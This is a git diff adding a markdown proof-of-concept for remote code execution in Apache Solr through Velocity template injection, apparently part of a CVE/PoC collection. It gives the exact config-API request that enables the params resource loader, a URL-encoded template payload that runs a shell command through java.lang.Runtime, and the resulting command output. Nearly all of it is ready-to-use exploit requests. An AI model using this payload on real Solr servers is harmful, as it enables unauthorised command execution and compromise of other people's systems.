add some cve and poc

Apache Solr RCE via Velocity Template Injection.md

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+```
+Apache Solr RCE via Velocity template
+
+Set "params.resource.loader.enabled" as true.
+
+Request:
+========================================================================
+POST /solr/test/config HTTP/1.1
+Host: solr:8983
+Content-Type: application/json
+Content-Length: 259
+
+{
+  "update-queryresponsewriter": {
+    "startup": "lazy",
+    "name": "velocity",
+    "class": "solr.VelocityResponseWriter",
+    "template.base.dir": "",
+    "solr.resource.loader.enabled": "true",
+    "params.resource.loader.enabled": "true"
+  }
+}
+========================================================================
+
+
+RCE via velocity template
+Request:
+========================================================================
+GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
+Host: localhost:8983
+========================================================================
+
+
+Response:
+========================================================================
+HTTP/1.1 200 OK
+Content-Type: text/html;charset=utf-8
+Content-Length: 56
+
+     0  uid=8983(solr) gid=8983(solr) groups=8983(solr)
+========================================================================
+```
+
+> from : https://gist.githubusercontent.com/s00py/a1ba36a3689fa13759ff910e179fc133/raw/fae5e663ffac0e3996fd9dbb89438310719d347a/gistfile1.txt